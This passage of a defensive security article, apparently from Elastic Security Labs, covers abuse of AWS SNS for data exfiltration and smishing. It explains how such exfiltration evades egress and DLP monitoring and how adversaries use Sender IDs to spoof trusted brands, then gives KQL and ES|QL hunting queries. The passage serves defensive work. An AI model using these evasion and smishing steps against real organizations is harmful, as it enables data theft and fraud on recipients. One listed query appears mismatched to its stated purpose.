This bypasses traditional outbound traffic controls, ensuring the adversary's data exfiltration attempts are not blocked.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Lack of Detections for SNS Abuse\"}),\": Abuse of SNS for data exfiltration is under-monitored in many environments. Security teams may focus on more commonly abused AWS services (e.g., S3 or EC2) and lack dedicated detections or alerts for unusual SNS activity, such as frequent topic creation or large volumes of published messages.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Minimal Footprint with Non-Invasive Commands\"}),\": Local commands used by the adversary (e.g., \",(0,i.jsx)(e.code,{children:\"cat\"}),\", \",(0,i.jsx)(e.code,{children:\"echo\"}),\", \",(0,i.jsx)(e.code,{children:\"base64\"}),\") are benign and do not trigger endpoint detection and response (EDR) tools typically. These commands are common in legitimate administrative tasks, allowing adversaries to avoid detection on backend Linux systems.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Efficient and Scalable Exfiltration\"}),\": SNS enables scalable exfiltration by allowing adversaries to send large amounts of data to multiple subscribers. Once set up, the adversary can automate periodic publishing of sensitive information with minimal additional effort.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Persistent Exfiltration Capabilities\"}),\": As long as the SNS topic and subscription remain active, the adversary can use the infrastructure for ongoing exfiltration. This is especially true if the IAM role retains its permissions and no proactive monitoring is implemented.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Bypassing Egress Monitoring and DLP\"}),\": Since the data is exfiltrated through SNS within the AWS environment, it bypasses traditional egress monitoring or data loss prevention solutions that focus on outbound traffic to external destinations.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h1,{id:\"in-the-wild-abuse\",children:\"In-the-Wild Abuse\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"While whitebox scenarios are invaluable for simulating potential adversarial behaviors, it is equally important to ground these simulations with in-the-wild (ItW) threats. To this end, we explored publicly available research and identified a \",(0,i.jsx)(e.a,{href:\"https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/\",rel:\"nofollow\",children:\"key article\"}),\" from SentinelOne describing a spam messaging campaign that leveraged AWS SNS. Using insights from this research, we attempted to replicate these techniques in a controlled environment to better understand their implications.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Although we will not delve into the attribution analysis outlined in SentinelOne\\u2019s research, we highly recommend reviewing their work for a deeper dive into the campaign\\u2019s origins. Instead, our focus is on the tools and techniques employed by the adversary to abuse AWS SNS for malicious purposes.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"smishing-and-phishing\",children:\"Smishing and Phishing\"}),`\n`,(0,i.jsx)(e.p,{children:\"Compromised AWS environments with pre-configured SNS services can serve as launchpads for smishing (SMS phishing) or phishing attacks. Adversaries may exploit legitimate SNS topics and subscribers to distribute fraudulent messages internally or externally, leveraging the inherent trust in an organization\\u2019s communication channels.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As detailed in SentinelOne\\u2019s \",(0,i.jsx)(e.a,{href:\"https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/\",rel:\"nofollow\",children:\"blog\"}),\", the adversary employed a Python-based tool known as \",(0,i.jsx)(e.strong,{children:\"SNS Sender\"}),\". This script enabled bulk SMS phishing campaigns by interacting directly with AWS SNS APIs using compromised AWS credentials. These authenticated API requests allowed the adversary to bypass common safeguards and send phishing messages in mass..\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/6d8c062c23cb58327ae6fc3bbb66195b1337c360fa5008410f65887c463c3428\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"SNS Sender script\"})}),\" leverages valid AWS access keys and secrets to establish authenticated API sessions via the AWS SDK. Armed with these credentials, adversaries can craft phishing workflows that include:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Establishing authenticated SNS API sessions via the AWS SDK.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Enumerating and targeting lists of phone numbers to serve as phishing recipients.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Utilizing a pre-registered Sender ID (if available) for spoofing trusted entities.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Sending SMS messages containing malicious links, often impersonating a legitimate service.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/aws-sns-abuse/image4.png\",alt:\"\",width:\"819\",height:\"633\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs predicts that the use of one-off or commercially available tools for abusing cloud services, like SNS Sender, will continue to grow as a research focus. This underscores the importance of understanding these tools and their impact on cloud security.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"weaponization-and-pre-testing-considerations\",children:\"Weaponization and Pre-Testing Considerations\"}),`\n`,(0,i.jsx)(e.p,{children:\"To successfully execute a phishing campaign at scale using AWS SNS, the adversary would have needed access to an already registered AWS End User Messaging organization. AWS restricts new accounts to SNS Sandbox Mode, which limits SMS sending to manually verified phone numbers. To bypass sandbox restrictions, adversaries would need access to an account already approved for production SMS messaging. The process of testing and weaponization would have required several key steps.\"}),`\n`,(0,i.jsx)(e.p,{children:\"A fully configured AWS End User Messaging setup would require:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"An established origination identity (which includes a long code, toll-free number, or short code).\"}),`\n`,(0,i.jsx)(e.li,{children:\"Regulatory approval through a brand registration process.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Carrier pre-approval for high-volume SMS messaging.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Without these pre-registered identifiers, AWS SNS messages may be deprioritized, blocked, or fail to send.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Before deploying a large-scale attack, adversaries would likely test SMS delivery using verified phone numbers within AWS SNS Sandbox Mode. This process requires:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Manually verifying phone numbers before sending messages.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Ensuring their carrier allows AWS SNS sandbox messages, as some (like T-Mobile and Google Voice) frequently block AWS SNS sandbox verification SMS.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Testing delivery routes across different AWS regions to identify which countries permit custom Sender IDs or allow non-sandbox messages.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"If an attacker\\u2019s test environment failed to receive SNS verification OTPs, they would likely pivot to a different AWS account or leverage a compromised AWS account that already had production-level messaging permissions.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In addition to this, the adversary would likely prioritize transactional messages over promotional. Transactional messages are prioritized by AWS (OTPs, security alerts, etc.) - whereas promotional messages are lower priority and may be filtered or blocked by certain carriers.\"}),`\n`,(0,i.jsx)(e.p,{children:\"If adversaries cannot override message type defaults, their phishing messages may be deprioritized or rejected by AWS, which could be a hurdle.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Registered Origination Identity \u0026 Sender ID (If Supported)\"})}),`\n`,(0,i.jsx)(e.p,{children:\"AWS requires brand registration and origination identity verification for businesses sending high-volume SMS messages. Depending on the region and carrier, adversaries may be able to exploit different configurations:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Sender ID Abuse\"}),\": In some non-U.S. regions, adversaries could register a Sender ID to make phishing messages appear from a trusted entity. This may allow for spoofing banks, shipping companies, or government agencies, making the phishing attempt more convincing.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Long Code \u0026 Toll-Free Exploitation\"}),\": AWS SNS assigns long codes (standard phone numbers) or toll-free numbers for outbound SMS. Toll-free numbers require registration but could still be abused if an adversary compromises an AWS account with an active toll-free messaging service.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Short Code Restrictions\"}),\": High-throughput short codes (5- or 6-digit numbers) are often carrier-controlled and require additional vetting, making them less practical for adversaries.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"infrastructure-setup-1\",children:(0,i.jsx)(e.strong,{children:\"Infrastructure Setup\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"By default, AWS accounts that have not properly configured the \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sms-voice/latest/userguide/what-is-sms-mms.html\",rel:\"nofollow\",children:\"End User Messaging\"}),\" service are restricted to an \",(0,i.jsx)(e.a,{href:\"https://aws.amazon.com/blogs/compute/introducing-the-sms-sandbox-for-amazon-sns/\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"SMS sandbox\"})}),\". This sandbox allows developers to test SMS functionality by sending messages to verified phone numbers. However, as we discovered, the process of verifying numbers in the sandbox is fraught with challenges.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Despite repeated attempts to register phone numbers with the sandbox, we found that verification messages (OTP codes) failed to arrive at endpoints across various carriers and services, including Google Voice and Twilio. This suggests that mobile carriers may block these sandbox-originated messages, effectively stalling the verification process but ultimately blocking us from emulating the behavior.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"For production use, \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/sns-sms-sandbox-moving-to-production.html\",rel:\"nofollow\",children:\"migrating\"}),\" from the sandbox requires a fully configured AWS End User Messaging service. This includes:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"A legitimate Sender ID.\"}),`\n`,(0,i.jsx)(e.li,{children:\"A phone pool for failovers.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Origination identity.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Brand registration for regulatory compliance.\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This setup aligns with the requirements of the SNS Sender script and represents an ideal environment for adversaries. The use of a Sender ID, which relies on a pre-established \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/dg/channels-sms-originating-identities.html\",rel:\"nofollow\",children:\"origination identity\"}),\" and brand registration, allows phishing messages to appear as though they originate from a reputable organization. This reduces the likelihood of detection or carrier-level blocking, increasing the success rate of the campaign.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The requirements for this attack suggests adversaries are likely to target companies that use AWS End User Messaging for automated SMS alerts and messaging. Industries such as logistics and delivery services, e-commerce platforms, and travel and hospitality are prime targets due to their reliance on automated SMS notifications.\"}),`\n`,(0,i.jsx)(e.p,{children:\"On the recipient's side, the phishing message appears as if it originates from a trusted entity, bypassing carrier alarms and evading suspicion.\"}),`\n`,(0,i.jsx)(e.p,{children:\"During our testing, we encountered unexpected behavior with logging in CloudTrail when attempting to use the script and AWS CLI to send SMS messages directly through SNS. Failed message delivery attempts did not appear in CloudTrail logs as expected.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Although the \",(0,i.jsx)(e.a,{href:\"https://docs.aws.amazon.com/sns/latest/api/API_Publish.html\",rel:\"nofollow\",children:(0,i.jsx)(e.strong,{children:\"Publish\"})}),\" API call is generally logged in CloudTrail (provided data plane events are enabled), it remains unclear if the absence of logs for failed attempts was due to inherent SNS behavior or misconfiguration on our part. This gap highlights the need for deeper investigation into how failed SNS Publish requests are handled by AWS and whether additional configurations are required to capture these events reliably.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"As a result, we determined it would be best to include a threat hunting query for this rather than a detection rule due to the inability to fully replicate the adversary behavior, reliance on pre-established and registered brands and origination identity, in full.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"detection-and-hunting-opportunities\",children:\"Detection and Hunting Opportunities\"}),`\n`,(0,i.jsx)(e.p,{children:\"For detection and hunting, CloudTrail audit logs provide enough visibility for the subsequent API calls from this activity. They also include enough contextual information to help aid with a higher fidelity of these anomalous signals. The following detections and hunting queries will leverage CloudTrail data ingested into our Elastic stack with the AWS CloudTrail integration, however they should be translatable to the SIEM of your choice if needed. For this activity, we focus solely on assumed roles, specifically those with EC2 instances being abused but this could take place elsewhere in AWS environments.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"sns-topic-created-by-rare-user\",children:\"SNS Topic Created by Rare User\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/c5523c4d4060555e143b2d46fea1748173352b8f/rules/integrations/aws/resource_development_sns_topic_created_by_rare_user.toml\",rel:\"nofollow\",children:\"Detection Rule Source\"}),(0,i.jsx)(e.br,{}),`\n`,(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_topic_created_by_rare_user.md\",rel:\"nofollow\",children:\"Hunting Query Source\"}),(0,i.jsx)(e.br,{}),`\n`,\"MITRE ATT\u0026CK: \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1608/\",rel:\"nofollow\",children:\"T1608\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies when an SNS topic is created by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic\\u2019s New Terms type rules to identify when the first occurrence of a user identity ARN creates an SNS topic. It would be awfully unusual for an assumed role, typically leveraged for EC2 instances to be creating SNS topics.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Our query leverages KQL and \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule\",rel:\"nofollow\",children:\"New Terms rule type\"}),\" to focus on topics created by an Assumed Role specifically for an EC2 instance.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.dataset: \"aws.cloudtrail\"\n and event.provider: \"sns.amazonaws.com\"\n and event.action: \"Publish\"\n and aws.cloudtrail.user_identity.type: \"AssumedRole\"\n and aws.cloudtrail.user_identity.arn: *i-*\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"hunting-query-esql\",children:\"Hunting Query (ES|QL)\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our hunting query focuses on the CreateTopic API action from an entity whose identity type is an assumed role. We also parse the ARN to ensure that it is an EC2 instance this request is sourcing from. We can then aggregate on cloud account, entity (EC2 instance ID), assumed role name, region and user agent. If it is unusual for the EC2 instance reported to be creating SNS topics randomly, then it may be a good anomalous signal to investigate.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`from logs-aws.cloudtrail-*\n| where @timestamp \u003e now() - 7 day\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Publish\"\n and aws.cloudtrail.user_identity.type == \"AssumedRole\"\n| DISSECT aws.cloudtrail.request_parameters \"{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}\"\n| DISSECT aws.cloudtrail.user_identity.arn \"%{?}:assumed-role/%{assumed_role_name}/%{entity}\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| WHERE STARTS_WITH(entity, \"i-\")\n| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name\n| SORT regional_topic_publish_count ASC\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Hunting Notes:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"It is unusual already for credentials from an assumed role for an EC2 instance to be creating SNS topics randomly.\"}),`\n`,(0,i.jsx)(e.li,{children:\"If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation.\"}),`\n`,(0,i.jsx)(e.li,{children:\"An attacker could pivot into Publish API actions being called to this specific topic to identify which AWS resource is publishing messages. With access to the topic, the attacker could then further investigate the subscribers list to identify unauthorized subscribers.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"sns-topic-subscription-with-email-by-rare-user\",children:\"SNS Topic Subscription with Email by Rare User\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/exfiltration_sns_email_subscription_by_rare_user.toml\",rel:\"nofollow\",children:\"Detection Rule Source\"}),(0,i.jsx)(e.br,{}),`\n`,(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_email_subscription_by_rare_user.md\",rel:\"nofollow\",children:\"Hunting Query Source\"}),(0,i.jsx)(e.br,{}),`\n`,\"MITRE ATT\u0026CK: \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1567/\",rel:\"nofollow\",children:\"T1567\"}),\", \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1530/\",rel:\"nofollow\",children:\"T1530\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Identifies when an SNS topic is subscribed to by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic\\u2019s \",(0,i.jsx)(e.strong,{children:\"New Terms\"}),\" type rules to identify when the first occurrence of a user identity ARN attempts to subscribe to an existing SNS topic.The data exfiltration which took place during our whitebox testing example above would have been caught by this threat hunt; an alert would have been generated when we establish an SNS subscription to an external user.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Further false-positive reductions could be obtained by whitelisting expected organization TLDs in the requested email address if the topic is meant for internal use only.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed or this would be vital for investigation.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.dataset: \"aws.cloudtrail\"\n and event.provider: \"sns.amazonaws.com\"\n and event.action: \"Subscribe\"\n and aws.cloudtrail.request_parameters: *protocol=email*\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"New Terms value\"}),\": aws.cloudtrail.user_identity.arn\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"hunting-query-esql-1\",children:\"Hunting Query (ES|QL)\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our hunting query leverages ES|QL but parses the Subscribe API action parameters to filter further on the email protocol being specified. It also parses out the name of the user-agent, but relies further on aggregations to potentially identify other anomalous user-agent attributes. We've also included the region where the subscription occurred, as it may be uncommon for certain regions to be subscribed to others, depending on the specific business context of an organization.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`from logs-aws.cloudtrail-*\n| where @timestamp \u003e now() - 7 day\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Subscribe\"\n| DISSECT aws.cloudtrail.request_parameters \"%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| WHERE protocol == \"email\"\n| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name\n| WHERE regional_topic_subscription_count == 1\n| SORT regional_topic_subscription_count ASC\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Hunting Notes:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Ignoring the topic ARN during aggregation is important to identify first occurrence anomalies of subscribing to SNS topic with an email. By not grouping subscriptions by topic ARN, we ensure that the query focuses on detecting unexpected or infrequent subscriptions only, regardless of specific topics already established.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Another query may be required with the user identity ARN as an inclusion filter to identify which topic they subscribed to.\"}),`\n`,(0,i.jsx)(e.li,{children:\"If an anomalous user-agent name is observed, a secondary investigation into the user-agent string may be required to determine if it's associated with automated scripts, uncommon browsers, or mismatched platforms. While it is simple to fake these, adversaries have been known not to for undisclosed reasons.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"sns-topic-message-published-by-rare-user\",children:\"SNS Topic Message Published by Rare User\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/lateral_movement_sns_topic_message_publish_by_rare_user.toml\",rel:\"nofollow\",children:\"Detection Rule Source\"}),(0,i.jsx)(e.br,{}),`\n`,(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_topic_message_published_by_rare_user.md\",rel:\"nofollow\",children:\"Hunting Query Source\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Identifies when a message is published to an SNS topic from an unusual user identity ARN in AWS. If the role or permission policy does not practice PoLP, publishing to SNS topics may be allowed and thus abused. For example, default roles supplied via AWS Marketplace that allow publishing to SNS topics. It may also identify rogue entities that once were pushing to SNS topics but no longer are being abused if credentials are compromised. Note that this focuses solely on EC2 instances, but you could adjust to account for different publish anomalies based on source, region, user agent and more.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed, as this would be a vital asset for investigation.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`event.dataset: \"aws.cloudtrail\"\n and event.provider: \"sns.amazonaws.com\"\n and event.action: \"Publish\"\n and aws.cloudtrail.user_identity.type: \"AssumedRole\"\n and aws.cloudtrail.user_identity.arn: *i-*\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"New Terms value\"}),\": aws.cloudtrail.user_identity.arn\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"hunting-query-esql-2\",children:\"Hunting Query (ES|QL)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Our hunting query leverages ES|QL and also focused on SNS logs where the API action is \",(0,i.jsx)(e.em,{children:\"Publish\"}),\". This only triggers if the user identity type is an assumed role and the user identity ARN is an EC2 instance ID. Aggregating on \",(0,i.jsx)(e.strong,{children:\"account ID\"}),\", \",(0,i.jsx)(e.strong,{children:\"entity\"}),\", \",(0,i.jsx)(e.strong,{children:\"assumed role\"}),\", \",(0,i.jsx)(e.strong,{children:\"SNS topic\"}),\" and \",(0,i.jsx)(e.strong,{children:\"region\"}),\" help us identify any further anomalies based on expectancy of this activity. We can leverage the user agent to identify these calls being made by unusual tools or software as well.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`from logs-aws.cloudtrail-*\n| where @timestamp \u003e now() - 7 day\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Publish\"\n and aws.cloudtrail.user_identity.type == \"AssumedRole\"\n| DISSECT aws.cloudtrail.request_parameters \"{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}\"\n| DISSECT aws.cloudtrail.user_identity.arn \"%{?}:assumed-role/%{assumed_role_name}/%{entity}\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| WHERE STARTS_WITH(entity, \"i-\")\n| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name\n| SORT regional_topic_publish_count ASC\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Hunting Notes:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation.\"}),`\n`,(0,i.jsx)(e.li,{children:\"If you notice Terraform, Pulumi, etc. it may be related to testing environments, maintenance or more.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Python SDKs that are not AWS, may indicate custom tooling or scripts being leveraged.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"sns-direct-to-phone-messaging-spike\",children:\"SNS Direct-to-Phone Messaging Spike\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_direct_to_phone_messaging_spike.md\",rel:\"nofollow\",children:\"Hunting Query Source\"}),(0,i.jsx)(e.br,{}),`\n`,\"MITRE ATT\u0026CK: \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1660/\",rel:\"nofollow\",children:\"T1660\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Our hunting efforts for hypothesized SNS compromise\\u2014where an adversary is conducting phishing (smishing) campaigns\\u2014focus on \",(0,i.jsx)(e.em,{children:\"Publish\"}),\" API actions in AWS SNS. Specifically, we track instances where \",(0,i.jsx)(e.em,{children:\"phoneNumber\"}),\" is present in request parameters, signaling that messages are being sent directly to phone numbers rather than through an SNS topic.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Notably, instead of relying on SNS topics with pre-subscribed numbers, the adversary exploits an organization\\u2019s production Endpoint Messaging permissions, leveraging:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"An approved Origination ID (if the organization has registered one).\"}),`\n`,(0,i.jsx)(e.li,{children:\"A Sender ID (if the adversary controls one or can spoof a trusted identifier).\"}),`\n`,(0,i.jsx)(e.li,{children:\"AWS long codes or short codes (which may be dynamically assigned).\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Since AWS SNS sanitizes logs, phone numbers are not visible in CloudTrail, but deeper analysis in CloudWatch or third-party monitoring tools may help.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"hunting-query-esql-3\",children:\"Hunting Query (ES|QL)\"}),`\n`,(0,i.jsx)(e.p,{children:\"This query detects a spike in direct SNS messages, which may indicate smishing campaigns from compromised AWS accounts.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`from logs-aws.cloudtrail-*\n| WHERE @timestamp \u003e now() - 7 day\n| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Publish\" AND\n event.outcome == \"success\" AND\n aws.cloudtrail.request_parameters LIKE \"*phoneNumber*\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name\n| WHERE sms_message_count \u003e 30\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Hunting Notes:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"AWS removes phone numbers in logs, so deeper analysis via CloudWatch logs may be necessary.\"}),`\n`,(0,i.jsx)(e.li,{children:\"While investigating in CloudWatch, the message context is also sanitized. It would be ideal to investigate the message for any suspicious URL links being embedded in the text messages.\"}),`\n`,(0,i.jsx)(e.li,{children:\"You can also review AWS SNS delivery logs (if enabled) for message metadata.\"}),`\n`,(0,i.jsx)(e.li,{children:\"If messages are not using a topic-based subscription, it suggests direct targeting.\"}),`\n`,(0,i.jsx)(e.li,{children:\"The source of these requests is important, if you notice them from an EC2 instance, that is rather odd or Lambda may be an expected serverless code.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h1,{id:\"takeaways\",children:\"Takeaways\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Thank you for taking the time to read this publication on \",(0,i.jsx)(e.strong,{children:\"AWS SNS Abuse: Data Exfiltration and Phishing\"}),\". We hope this research provides valuable insights into how adversaries can leverage AWS SNS for data exfiltration, smishing and phishing campaigns, as well as practical detection and hunting strategies to counter these threats.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Key Takeaways:\"})}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"AWS SNS is a powerful service, but can be misused for malicious purposes, including phishing (smishing) and data exfiltration.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Adversaries may abuse production SNS permissions using pre-approved Sender IDs, Origination IDs, or long/short codes to send messages outside an organization.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Threat actors may weaponize misconfigurations in IAM policies, CloudTrail logging gaps and SNS API limitations to fly under the radar.\"}),`\n`,(0,i.jsx)(e.li,{children:\"While in-the-wild (ItW) abuse of SNS is not frequently reported, we are confident that its weaponization and targeted exploitation are already occurring or will emerge eventually.\"}),`\n`,(0,i.jsx)(e.li,{children:\"AWS CloudTrail does not capture phone numbers or messages in SNS logs, making CloudWatch third-party monitoring essential for deeper analysis\"}),`\n`,(0,i.jsx)(e.li,{children:\"Threat hunting queries can help detect SNS topics being created, subscribed to, or receiving a spike in direct messages, signaling potential abuse.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Detection strategies include monitoring SNS API 